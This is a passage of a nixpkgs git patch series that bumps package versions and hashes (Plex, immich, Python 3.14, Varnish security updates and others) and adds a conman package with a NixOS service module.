+        sha256 = "0bh1lzsd2z8jmkpbq6s9xy08595jmiqcq2vqvbd6cfa9zkbbl6by";
       };
 
   outputs = [

From b6823b97bc1439920bc37844b9f4af3f9c718e1c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 04:43:07 +0000
Subject: [PATCH 3572/4511] plexRaw: 1.41.8.9834-071366d65 ->
 1.41.9.9961-46083195d

(cherry picked from commit 4481a556b4727bcbe0fbb1267ddc1247c7eb0cc5)
---
 pkgs/servers/plex/raw.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/plex/raw.nix b/pkgs/servers/plex/raw.nix
index 3521a36597ef..6fea6b095989 100644
--- a/pkgs/servers/plex/raw.nix
+++ b/pkgs/servers/plex/raw.nix
@@ -14,7 +14,7 @@
 # server, and the FHS userenv and corresponding NixOS module should
 # automatically pick up the changes.
 stdenv.mkDerivation rec {
-  version = "1.41.8.9834-071366d65";
+  version = "1.41.9.9961-46083195d";
   pname = "plexmediaserver";
 
   # Fetch the source
@@ -22,12 +22,12 @@ stdenv.mkDerivation rec {
     if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_arm64.deb";
-        sha256 = "0y62k1bqp5ydx2yyyicp24535dkg8a7jhd7vcsj3vx58kis4f2fd";
+        sha256 = "1gxiwzv799w2b18mlq1yx5z3x9k51f88yc9k7mmcn5a224a11kxf";
       }
     else
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_amd64.deb";
-        sha256 = "0bh1lzsd2z8jmkpbq6s9xy08595jmiqcq2vqvbd6cfa9zkbbl6by";
+        sha256 = "0hnwsh9x48xx9grgv4j30ymbr7v9bdfkl3dnfwjbqr0g3zb22av2";
       };
 
   outputs = [

From 7dc912baffb336ee05d510de822f61dec5195f4f Mon Sep 17 00:00:00 2001
From: Uriel <imurx@proton.me>
Date: Thu, 14 Aug 2025 16:20:11 -0400
Subject: [PATCH 3573/4511] plexRaw: 1.41.9.9961-46083195d ->
 1.42.1.10060-4e8b05daf

(cherry picked from commit 8f0683b64e1d8081729724bb82b233e993193ff5)
---
 pkgs/servers/plex/raw.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/plex/raw.nix b/pkgs/servers/plex/raw.nix
index 6fea6b095989..0531521ce318 100644
--- a/pkgs/servers/plex/raw.nix
+++ b/pkgs/servers/plex/raw.nix
@@ -14,7 +14,7 @@
 # server, and the FHS userenv and corresponding NixOS module should
 # automatically pick up the changes.
 stdenv.mkDerivation rec {
-  version = "1.41.9.9961-46083195d";
+  version = "1.42.1.10060-4e8b05daf";
   pname = "plexmediaserver";
 
   # Fetch the source
@@ -22,12 +22,12 @@ stdenv.mkDerivation rec {
     if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_arm64.deb";
-        sha256 = "1gxiwzv799w2b18mlq1yx5z3x9k51f88yc9k7mmcn5a224a11kxf";
+        sha256 = "f10c635b17a8aedc3f3a3d5d6cad8dff9e7fb534384d601eb832a3e3de91b0e7";
       }
     else
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_amd64.deb";
-        sha256 = "0hnwsh9x48xx9grgv4j30ymbr7v9bdfkl3dnfwjbqr0g3zb22av2";
+        sha256 = "3a822dbc6d08a6050a959d099b30dcd96a8cb7266b94d085ecc0a750aa8197f4";
       };
 
   outputs = [

From 5c2cb296fe2c49733c76bf8191401e40c7b4c7aa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 23 May 2025 10:49:30 +0000
Subject: [PATCH 3574/4511] plexRaw: 1.41.6.9685-d301f511a ->
 1.41.7.9799-5bce000f7

(cherry picked from commit b9a86fef6604ae0fcbc00a76363f6cf7e9215e12)
---
 pkgs/servers/plex/raw.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/plex/raw.nix b/pkgs/servers/plex/raw.nix
index ee61ac99817c..0b055e24a467 100644
--- a/pkgs/servers/plex/raw.nix
+++ b/pkgs/servers/plex/raw.nix
@@ -14,7 +14,7 @@
 # server, and the FHS userenv and corresponding NixOS module should
 # automatically pick up the changes.
 stdenv.mkDerivation rec {
-  version = "1.41.6.9685-d301f511a";
+  version = "1.41.7.9799-5bce000f7";
   pname = "plexmediaserver";
 
   # Fetch the source
@@ -22,12 +22,12 @@ stdenv.mkDerivation rec {
     if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_arm64.deb";
-        sha256 = "sha256-w0xngKbrUVZXA9Hc6/Doq365Kt/sbZmmcHR/sWujVzw=";
+        sha256 = "0pzyzgp6w04zrc8wxdkna939wmb7f64wklqlar0bb6g0270hx40v";
       }
     else
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_amd64.deb";
-        sha256 = "sha256-4ZbSGQGdkXCCZZ00w0/BwRHju4DJUQQBGid0gBFK0Ck=";
+        sha256 = "1p26cgzds3h229npp839fll5wdvz29z580xh34mws2ayq25lk796";
       };
 
   outputs = [

From 57874762fc1a3e9e8c49c28ff720b9595f3d9c35 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 15 Aug 2025 12:36:07 +0000
Subject: [PATCH 3575/4511] qpwgraph: 0.9.4 -> 0.9.5

(cherry picked from commit d64f3cd54c31408481f364c2e9c962ed666236f8)
---
 pkgs/applications/audio/qpwgraph/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/audio/qpwgraph/default.nix b/pkgs/applications/audio/qpwgraph/default.nix
index 6a41d5c38731..0487894564a8 100644
--- a/pkgs/applications/audio/qpwgraph/default.nix
+++ b/pkgs/applications/audio/qpwgraph/default.nix
@@ -14,14 +14,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "qpwgraph";
-  version = "0.9.4";
+  version = "0.9.5";
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
     owner = "rncbc";
     repo = "qpwgraph";
     rev = "v${finalAttrs.version}";
-    sha256 = "sha256-VvOdorj+CpFSI+iyVeMR0enXGO5mLPE8KiaHGuG/KDQ=";
+    sha256 = "sha256-0cFsRMcQtzOM0tApmBRMhTR5J3Ohvm+ykChCvygpOQM=";
   };
 
   nativeBuildInputs = [

From 7c54f28bf324a214492642161c916a492749afe4 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Fri, 15 Aug 2025 02:45:10 +0300
Subject: [PATCH 3576/4511] soundsource: 5.8.3 -> 5.8.5

(cherry picked from commit ec6dfa84ffc014e0491daca472fbcd2992ddc3b0)
---
 pkgs/by-name/so/soundsource/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/so/soundsource/package.nix b/pkgs/by-name/so/soundsource/package.nix
index 7bec0d15fd60..621e51a8ab05 100644
--- a/pkgs/by-name/so/soundsource/package.nix
+++ b/pkgs/by-name/so/soundsource/package.nix
@@ -6,11 +6,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "soundsource";
-  version = "5.8.3";
+  version = "5.8.5";
 
   src = fetchurl {
-    url = "https://web.archive.org/web/20250601123927/https://cdn.rogueamoeba.com/soundsource/download/SoundSource.zip";
-    hash = "sha256-tomlsji65xVPTqX36UKf7S04M1iBxsXVJFEFqWPgBac=";
+    url = "https://web.archive.org/web/20250814234406/https://cdn.rogueamoeba.com/soundsource/download/SoundSource.zip";
+    hash = "sha256-dsnDyQgS72MMQ9SMBar4kEE2PjFxiZYk1dJ2nIE0Y4o=";
   };
 
   dontUnpack = true;

From a388bc83ba9dd7080dc1ac071fd180e4152872f1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 18 Jul 2025 12:37:47 +0000
Subject: [PATCH 3577/4511] python3Packages.ansible-core: 2.18.6 -> 2.18.7

(cherry picked from commit ec98bd505f05c2664f9ad13a7accb56f44fcdbfc)
---
 pkgs/development/python-modules/ansible/core.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/ansible/core.nix b/pkgs/development/python-modules/ansible/core.nix
index a70913be6ba8..2b635f5160b0 100644
--- a/pkgs/development/python-modules/ansible/core.nix
+++ b/pkgs/development/python-modules/ansible/core.nix
@@ -32,7 +32,7 @@
 
 buildPythonPackage rec {
   pname = "ansible-core";
-  version = "2.18.6";
+  version = "2.18.7";
   pyproject = true;
 
   disabled = pythonOlder "3.11";
@@ -40,7 +40,7 @@ buildPythonPackage rec {
   src = fetchPypi {
     pname = "ansible_core";
     inherit version;
-    hash = "sha256-JbsgzhUWobcweDGyY872hAQ7NyBxFGa9nUFk5f1XZVc=";
+    hash = "sha256-GhKb+fzV3KKxfoPOdxR+4vvDxRpJWJcBUol8xbbQquc=";
   };
 
   # ansible_connection is already wrapped, so don't pass it through

From 6851f846dd523cd52ea25f62a4aa60b5ea5809a6 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sat, 2 Aug 2025 09:52:19 +0200
Subject: [PATCH 3578/4511] immich: 1.136.0 -> 1.137.3

https://github.com/immich-app/immich/releases/tag/v1.137.0
https://github.com/immich-app/immich/releases/tag/v1.137.1
https://github.com/immich-app/immich/releases/tag/v1.137.3

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit fd7f4874296be9666a8d3bc84e18c16eabe1fcdd)
---
 doc/release-notes/rl-2505.section.md |  2 ++
 pkgs/by-name/im/immich/sources.json  | 24 ++++++++++++------------
 2 files changed, 14 insertions(+), 12 deletions(-)

diff --git a/doc/release-notes/rl-2505.section.md b/doc/release-notes/rl-2505.section.md
index 48b1318a0ca1..761cce59e351 100644
--- a/doc/release-notes/rl-2505.section.md
+++ b/doc/release-notes/rl-2505.section.md
@@ -55,6 +55,8 @@
 
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
 
+- `immich` requires that, if your current version of immich is below v1.132.0, that you first upgrade to an immich version between 1.132.0 and 1.136.0 (inclusive). See https://immich.app/errors/#typeorm-upgrade for more information.
+
 - `apptainer` and `singularity` deprecate the workaround of overriding `vendorHash` and related attributes via `<pkg>.override`,
   in favour of the unified overriding of the same group of attributes via `<pkg>.overrideAttrs`.
   The compatibility layer will be removed in future releases.
diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 36bcb1de67df..58ee68475040 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.136.0",
-  "hash": "sha256-IMog1lvitT1fNKlT4pv/5Qlg/2JNkBNZrBu65NRAgJ0=",
+  "version": "1.137.3",
+  "hash": "sha256-oKDIx63LayDWhd4uE16rqFWmmwwSWUsUvgZKsgE3KWg=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-+cMBzlvnSAwlutVm1F0Sa2LEAP6ppOvI9XjDb40xWW4=",
-      "version": "2.2.73"
+      "npmDepsHash": "sha256-Cjk95tsQM89LkMq6H3B5WYdYrMi3hB6d1XpN2xhHv2U=",
+      "version": "2.2.77"
     },
     "server": {
-      "npmDepsHash": "sha256-kVmoxOd7ErLmLKBkanb8IOUJ3ccpzUHBkaLgnvli0Uw=",
-      "version": "1.136.0"
+      "npmDepsHash": "sha256-CvczIXE3Z3LwZezG7kbfJqg2fak2BRXTr0op1Jo1LIg=",
+      "version": "1.137.3"
     },
     "web": {
-      "npmDepsHash": "sha256-CxQQbqIhqhWqtlV4BWQDPkg0tm3wPXC6BcCFb/6mM+o=",
-      "version": "1.136.0"
+      "npmDepsHash": "sha256-PcNgD/JFt3221Qgi54XzQZNa53iw3BUe31DM8k+nz/4=",
+      "version": "1.137.3"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-z9W3YGqoUV90TXoyEnR069pLvirzDAisgQZdaJEOlSg=",
-      "version": "1.136.0"
+      "npmDepsHash": "sha256-M4ahH6ZP0E3wEgK4VLqSsNjhMFNVTMeRFdzU9EO53vE=",
+      "version": "1.137.3"
     },
     "geonames": {
-      "timestamp": "20250725064853",
-      "hash": "sha256-UzP8JapHTCpk5/6X5usLLXQUfqEOUgkq76CTIBZoz08="
+      "timestamp": "20250801182552",
+      "hash": "sha256-jfC/FgfeSz1tdtYc1EqQ/HJw5LlYQSyGntPuXv24JVY="
     }
   }
 }

From 0542ec13e27eafcafea9f04198927fe06355a3c8 Mon Sep 17 00:00:00 2001
From: Igor Svistoun <igor@svistoun.com>
Date: Tue, 12 Aug 2025 04:01:06 -0400
Subject: [PATCH 3579/4511] immich.geodata: fix hash

(cherry picked from commit c0f3ec57b36ad987af2d7edbe4200a3dbec9946a)
---
 pkgs/by-name/im/immich/sources.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 58ee68475040..2a87fcbc9a75 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -19,8 +19,8 @@
       "version": "1.137.3"
     },
     "geonames": {
-      "timestamp": "20250801182552",
-      "hash": "sha256-jfC/FgfeSz1tdtYc1EqQ/HJw5LlYQSyGntPuXv24JVY="
+      "timestamp": "20250812073904",
+      "hash": "sha256-1ZvFkaNdG5s25YwP5CsblvIFT4rlvNrCBiPNR+lAPTQ="
     }
   }
 }

From f6149e0d7d266ec0ba8467f11049da6f4f4d4965 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 12 Aug 2025 08:55:15 -0700
Subject: [PATCH 3580/4511] immich.geodata: fix hash

(cherry picked from commit 00a0f9248929557d03b7fdb04b4aa3e04980ebc7)
---
 pkgs/by-name/im/immich/sources.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 2a87fcbc9a75..458ad0570bc3 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -20,7 +20,7 @@
     },
     "geonames": {
       "timestamp": "20250812073904",
-      "hash": "sha256-1ZvFkaNdG5s25YwP5CsblvIFT4rlvNrCBiPNR+lAPTQ="
+      "hash": "sha256-02ADfg5wHT1R3vu6imPP22BbT5Y5315eRGmI0mEryGc="
     }
   }
 }

From 8d9fc2cb6bab55858c02055c6f64307386406316 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Thu, 14 Aug 2025 19:52:43 -0600
Subject: [PATCH 3581/4511] immich: 1.137.3 -> 1.138.0

https://github.com/immich-app/immich/releases/tag/v1.138.0
Diff: https://github.com/immich-app/immich/compare/v1.137.3...v1.138.0
(cherry picked from commit 3c9ef41380d654357f84d4d466585c7517eb88d0)
---
 pkgs/by-name/im/immich/sources.json | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 458ad0570bc3..432bc9ff0cf2 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.137.3",
-  "hash": "sha256-oKDIx63LayDWhd4uE16rqFWmmwwSWUsUvgZKsgE3KWg=",
+  "version": "1.138.0",
+  "hash": "sha256-yOGqQMy2PdGlHAtfuLB74UokGIwzi3yCiaBOZ/Orsf0=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-Cjk95tsQM89LkMq6H3B5WYdYrMi3hB6d1XpN2xhHv2U=",
-      "version": "2.2.77"
+      "npmDepsHash": "sha256-NFEAsy1SabGvQMX+k7jIuBLdfjhb3v9x1O2T9EbTPEM=",
+      "version": "2.2.78"
     },
     "server": {
-      "npmDepsHash": "sha256-CvczIXE3Z3LwZezG7kbfJqg2fak2BRXTr0op1Jo1LIg=",
-      "version": "1.137.3"
+      "npmDepsHash": "sha256-B/j4b0ETfM+K9v757egm1DUTynfnFHb8PVRFhxq1H5Y=",
+      "version": "1.138.0"
     },
     "web": {
-      "npmDepsHash": "sha256-PcNgD/JFt3221Qgi54XzQZNa53iw3BUe31DM8k+nz/4=",
-      "version": "1.137.3"
+      "npmDepsHash": "sha256-LkGeZPyfJ6wo1O5I13OL9Iz6mjRNXjTNOi5BVoQWQs4=",
+      "version": "1.138.0"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-M4ahH6ZP0E3wEgK4VLqSsNjhMFNVTMeRFdzU9EO53vE=",
-      "version": "1.137.3"
+      "npmDepsHash": "sha256-n1OTaqwfVy3RB6hi2rRGGjSNXsrFRwZMSyKfEuYy57U=",
+      "version": "1.138.0"
     },
     "geonames": {
-      "timestamp": "20250812073904",
-      "hash": "sha256-02ADfg5wHT1R3vu6imPP22BbT5Y5315eRGmI0mEryGc="
+      "timestamp": "20250815003647",
+      "hash": "sha256-GYO+fbdXC2z0scne9kh+JLpp7h9k2w0tkIcyYDbNusA="
     }
   }
 }

From e0356428576c99a37d6c1d2748b89515cce516f3 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Thu, 14 Aug 2025 21:04:04 -0600
Subject: [PATCH 3582/4511] immich-machine-learning: relax numpy

(cherry picked from commit c11ccf7f1a612ba6e74123f5484a215311f23e0d)
---
 pkgs/by-name/im/immich-machine-learning/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/im/immich-machine-learning/package.nix b/pkgs/by-name/im/immich-machine-learning/package.nix
index a86f85bb21b0..ce78b6c6c49a 100644
--- a/pkgs/by-name/im/immich-machine-learning/package.nix
+++ b/pkgs/by-name/im/immich-machine-learning/package.nix
@@ -17,6 +17,7 @@ python.pkgs.buildPythonApplication rec {
   pyproject = true;
 
   pythonRelaxDeps = [
+    "numpy"
     "pillow"
     "pydantic-settings"
   ];

From 15158d13d45233205b1e0002d9444d66c79c9b00 Mon Sep 17 00:00:00 2001
From: frantathefranta <fb@franta.us>
Date: Fri, 1 Aug 2025 09:44:03 -0400
Subject: [PATCH 3583/4511] maintainers: add frantathefranta

(cherry picked from commit 5d75012b621292c8215f70f68b1640c5f07eb790)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 80865df928d4..1d99109a5b5f 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -8410,6 +8410,12 @@
     githubId = 10290864;
     name = "Peter Frank";
   };
+  frantathefranta = {
+    github = "frantathefranta";
+    githubId = 64412753;
+    name = "Franta Bartik";
+    email = "fb@franta.us";
+  };
   franzmondlichtmann = {
     name = "Franz Schroepf";
     email = "franz-schroepf@t-online.de";

From cc8962e8acac6af6f1046aeac23b619c49eb0140 Mon Sep 17 00:00:00 2001
From: frantathefranta <fb@franta.us>
Date: Fri, 1 Aug 2025 09:52:39 -0400
Subject: [PATCH 3584/4511] conman: init at 0.3.1

Adding this package along with a service. https://github.com/dun/conman/releases/tag/conman-0.3.1

Changes to conman package as per review

Enabled parallel building for the conman package

(cherry picked from commit 725442d69ca3d0f7c902626665fca83c01602ce3)
---
 pkgs/by-name/co/conman/package.nix | 45 ++++++++++++++++++++++++++++++
 1 file changed, 45 insertions(+)
 create mode 100644 pkgs/by-name/co/conman/package.nix

diff --git a/pkgs/by-name/co/conman/package.nix b/pkgs/by-name/co/conman/package.nix
new file mode 100644
index 000000000000..2826c65f7276
--- /dev/null
+++ b/pkgs/by-name/co/conman/package.nix
@@ -0,0 +1,45 @@
+{
+  lib,
+  freeipmi,
+  autoreconfHook,
+  pkg-config,
+  fetchFromGitHub,
+  tcp_wrappers,
+  stdenv,
+  expect,
+}:
+stdenv.mkDerivation (finalAttrs: {
+  pname = "conman";
+  version = "0.3.1";
+
+  src = fetchFromGitHub {
+    owner = "dun";
+    repo = "conman";
+    tag = "conman-${finalAttrs.version}";
+    hash = "sha256-CHWvHYTmTiEpEfHm3TF5aCKBOW2GsT9Vv4ehpj775NQ=";
+  };
+
+  enableParallelBuilding = true;
+
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ];
+
+  buildInputs = [
+    freeipmi # For libipmiconsole.so.2
+    tcp_wrappers # For libwrap.so.0
+    expect # For conman/*.exp scripts
+  ];
+
+  meta = {
+    description = "The Console Manager";
+    homepage = "https://github.com/dun/conman";
+    license = lib.licenses.gpl3Plus;
+    platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [
+      frantathefranta
+    ];
+  };
+
+})

From 361f6a6354a2da7a331c321cd9beed1a8b02233b Mon Sep 17 00:00:00 2001
From: frantathefranta <fb@franta.us>
Date: Fri, 1 Aug 2025 10:05:15 -0400
Subject: [PATCH 3585/4511] nixos/conman: init module

Adding a service for the conman package

Changes to conman service as per review

(cherry picked from commit 8b9723146053ce5b4b067567f679e08098cb1512)
---
 .../manual/release-notes/rl-2511.section.md   |  2 +
 nixos/modules/module-list.nix                 |  1 +
 nixos/modules/services/misc/conman.nix        | 89 +++++++++++++++++++
 3 files changed, 92 insertions(+)
 create mode 100644 nixos/modules/services/misc/conman.nix

diff --git a/nixos/doc/manual/release-notes/rl-2511.section.md b/nixos/doc/manual/release-notes/rl-2511.section.md
index 9f300ffdade3..ad47d63f8b14 100644
--- a/nixos/doc/manual/release-notes/rl-2511.section.md
+++ b/nixos/doc/manual/release-notes/rl-2511.section.md
@@ -18,6 +18,8 @@
 
 - [qBittorrent](https://www.qbittorrent.org/), is a bittorrent client programmed in C++ / Qt that uses libtorrent by Arvid Norberg. Available as [services.qbittorrent](#opt-services.qbittorrent.enable).
 
+- [conman](https://github.com/dun/conman), a serial console management program. Available as [services.conman](#opt-services.conman.enable).
+
 ## Backward Incompatibilities {#sec-release-25.11-incompatibilities}
 
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index c8b9d1ed2dc7..a7f2c53a1b2c 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -797,6 +797,7 @@
   ./services/misc/clipcat.nix
   ./services/misc/clipmenu.nix
   ./services/misc/confd.nix
+  ./services/misc/conman.nix
   ./services/misc/cpuminer-cryptonight.nix
   ./services/misc/db-rest.nix
   ./services/misc/devmon.nix
diff --git a/nixos/modules/services/misc/conman.nix b/nixos/modules/services/misc/conman.nix
new file mode 100644
index 000000000000..8d00b0353d6d
--- /dev/null
+++ b/nixos/modules/services/misc/conman.nix
@@ -0,0 +1,89 @@
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+
+{
+  options = {
+    services.conman = {
+      enable = lib.mkEnableOption ''
+        Enable the conman Console manager.
+
+        Either `configFile` or `config` must be specified.
+      '';
+      package = lib.mkPackageOption pkgs "conman" { };
+
+      configFile = lib.mkOption {
+        type = lib.types.nullOr lib.types.path;
+        default = null;
+        example = "/run/secrets/conman.conf";
+        description = ''
+          The absolute path to the configuration file.
+
+          Either `configFile` or `config` must be specified.
+
+          See <https://github.com/dun/conman/wiki/Man-5-conman.conf#files>.
+        '';
+      };
+      config = lib.mkOption {
+        type = lib.types.nullOr lib.types.lines;
+        default = null;
+        example = ''
+          server coredump=off
+          server keepalive=on
+          server loopback=off
+          server timestamp=1h
+
+          # global config
+          global log="/var/log/conman/%N.log"
+          global seropts="9600,8n1"
+          global ipmiopts="U:<user>,P:<password>"
+        '';
+        description = ''
+          The configuration object.
+
+          Either `configFile` or `config` must be specified.
+
+          See <https://github.com/dun/conman/wiki/Man-5-conman.conf#files>.
+        '';
+      };
+    };
+  };
+  meta.maintainers = with lib.maintainers; [
+    frantathefranta
+  ];
+
+  config =
+    let
+      cfg = config.services.conman;
+      configFile =
+        if cfg.configFile != null then
+          cfg.configFile
+        else
+          pkgs.writeTextFile {
+            name = "conman.conf";
+            text = cfg.config;
+          };
+    in
+    lib.mkIf cfg.enable {
+      assertions = [
+        {
+          assertion =
+            (cfg.configFile != null) && (cfg.config == null) || (cfg.configFile == null && cfg.config != null);
+          message = "Either but not both `configFile` and `config` must be specified for conman.";
+        }
+      ];
+      environment.systemPackages = [ cfg.package ];
+      systemd.services.conmand = {
+        description = "serial console management program";
+        documentation = [ "man:conman(8)" ];
+        wantedBy = [ "multi-user.target" ];
+        serviceConfig = {
+          ExecStart = "${cfg.package}/bin/conmand -F -c ${configFile}";
+          KillMode = "process";
+        };
+      };
+    };
+}

From 017a9ff0a8a512d78c32ee8559fe5493cbcd6589 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 16 Aug 2025 02:53:00 +0200
Subject: [PATCH 3586/4511] python314: 3.14.0rc1 -> 3.14.0rc2

https://docs.python.org/3.14/whatsnew/changelog.html#python-3-14-0rc2
(cherry picked from commit 53582707b1c1d142868f02e409e07863355c7961)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 181a3affbd20..5bc5c2b193ff 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -93,9 +93,9 @@
         major = "3";
         minor = "14";
         patch = "0";
-        suffix = "rc1";
+        suffix = "rc2";
       };
-      hash = "sha256-hwd4CunxnFv1ufJ4JxgboRza17spLqScrVQkMx5A7os=";
+      hash = "sha256-vGKFTPIyNFvSLJCRpoRk4B4FbGRzo//6hFcsijQtplY=";
       inherit passthruFun;
     };
     # Minimal versions of Python (built without optional dependencies)

From cb5634e5c0b7cd1dac3196ca69bb2a3658b8e645 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 14 Aug 2025 11:39:46 +0200
Subject: [PATCH 3587/4511] varnish60: 6.0.14 -> 6.0.15

Fixes CVE-2025-8671
https://varnish-cache.org/security/VSV00017.html

Changes:
https://github.com/varnishcache/varnish-cache/blob/6.0/doc/changes.rst#varnish-cache-6014-2025-05-12
(cherry picked from commit 4076dea28de6a94ba258d2dd0862dca6fdd8c179)
---
 pkgs/servers/varnish/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/varnish/default.nix b/pkgs/servers/varnish/default.nix
index a3e75ff16aee..c49203664fad 100644
--- a/pkgs/servers/varnish/default.nix
+++ b/pkgs/servers/varnish/default.nix
@@ -90,8 +90,8 @@ in
 {
   # EOL (LTS) TBA
   varnish60 = common {
-    version = "6.0.14";
-    hash = "sha256-tZlBf3ppntxxYSufEJ86ot6ujvnbfIyZOu9B3kDJ72k=";
+    version = "6.0.15";
+    hash = "sha256-VV0G10Glo+svBju+3G8gmRMF3w4nz8oj6X1v/28q5qw=";
   };
   # EOL 2026-03-15
   varnish77 = common {

From 0128aea5a299c42acb2e4a907281c78525567df6 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 14 Aug 2025 11:43:01 +0200
Subject: [PATCH 3588/4511] varnish77: 7.7.1 -> 7.7.2

Fixes CVE-2025-8671
https://varnish-cache.org/security/VSV00017.html

Changes:
https://github.com/varnishcache/varnish-cache/blob/7.7/doc/changes.rst#varnish-cache-772-2025-08-05
(cherry picked from commit 134bc5057c88c5babde60ea61b5a074eb38324ee)
---
 pkgs/servers/varnish/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/varnish/default.nix b/pkgs/servers/varnish/default.nix
index c49203664fad..72a3bc7d1919 100644
--- a/pkgs/servers/varnish/default.nix
+++ b/pkgs/servers/varnish/default.nix
@@ -95,7 +95,7 @@ in
   };
   # EOL 2026-03-15
   varnish77 = common {
-    version = "7.7.1";
-    hash = "sha256-TAbFyZaApCm3KTT5/VE5Y/fhuoVTszyn7BLIWlwrdRo=";
+    version = "7.7.2";
+    hash = "sha256-/ad1DhKBog6czMbGZkgdJDf6fA2BZZLIbk+3un/EZK0=";
   };
 }

From 162d3d95622ab7e3cbde27b494466e0fa2c2bd7c Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Thu, 14 Aug 2025 14:24:13 +0800
Subject: [PATCH 3589/4511] Revert "tiled: 1.11.2 -> 1.11.90", disable auto
 update

1.11.90 is an alpha pre-release, and is actually older than 1.11.2

This revert commit c7320fe37790168250d413bddfd0ad6b16b22719

(cherry picked from commit 7b5046a88d7218ccb2ef837806aa0b996c922a3c)
---
 pkgs/applications/editors/tiled/default.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/tiled/default.nix b/pkgs/applications/editors/tiled/default.nix
index 773b149a0b6f..e5e031b2b1f4 100644
--- a/pkgs/applications/editors/tiled/default.nix
+++ b/pkgs/applications/editors/tiled/default.nix
